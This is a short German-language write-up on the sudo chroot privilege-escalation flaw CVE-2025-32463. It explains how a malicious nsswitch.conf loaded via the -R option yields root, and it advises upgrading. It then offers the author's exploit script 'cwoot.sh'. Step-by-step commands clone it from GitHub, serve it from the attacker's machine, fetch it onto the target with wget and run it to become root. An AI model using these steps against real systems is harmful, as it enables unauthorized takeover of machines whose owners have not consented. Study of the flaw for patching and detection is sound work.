
Chroot-Privilegieneskalation
Sudo Version 1.9.17 hat eine kritische Schwachstelle (CVE-2025-32463), die es lokalen Benutzern erlaubt, Root-Zugriff zu erlangen, indem sie die chroot-Option ausnutzen, was zu ernsthaften Sicherheitsrisiken führen kann. Benutzern wird empfohlen, auf Version 1.9.17p1 oder neuer zu aktualisieren, um dieses Problem zu beheben.
Übersicht über die Sudo 1.9.17 Schwachstelle:-
Die Schwachstelle in Sudo Version 1.9.17, identifiziert als CVE-2025-32463, ist ein kritischer Fehler, der es lokalen Benutzern ermöglicht, Root-Zugriff zu erlangen. Dieses Problem entsteht durch eine Änderung in der Handhabung der --chroot (-R) Option durch Sudo, die eigentlich Prozesse isolieren soll, indem das Root-Verzeichnis geändert wird.
Wie die Schwachstelle funktioniert:-
Problem der Pfadauflösung: In den Versionen 1.9.14 bis 1.9.17 wertet Sudo die --chroot Option aus, bevor es die Benutzerberechtigungen überprüft. Dies ermöglicht es Angreifern, die Umgebung zu kontrollieren und bösartige Bibliotheken zu laden.
Ausführungsschritte:
Ein Angreifer erstellt eine bösartige nsswitch.conf Datei in einem von ihm kontrollierten Verzeichnis. Er führt Sudo mit der -R Option aus, wodurch Sudo die Konfiguration und Bibliotheken des Angreifers lädt, was Root-Zugriff gewährt.
Ich habe ein Bash-Skript "cwoot.sh" erstellt, das nach der Ausführung direkt zum Root-Benutzer erhöht.
Gehen Sie wie folgt vor:
Laden Sie das Skript aus dem Repository herunter: git clone https://github.com/justjoeyking/CVE-2025-32463.git
Auf eigenem Rechner: python3 -m http.server 8080
Auf dem Zielrechner: wget http://<own_IP_address>:8080/cwoot.sh
Auf dem Zielrechner: chmod 755 cwoot.sh
Skript auf dem Zielrechner ausführen: ./cwoot.sh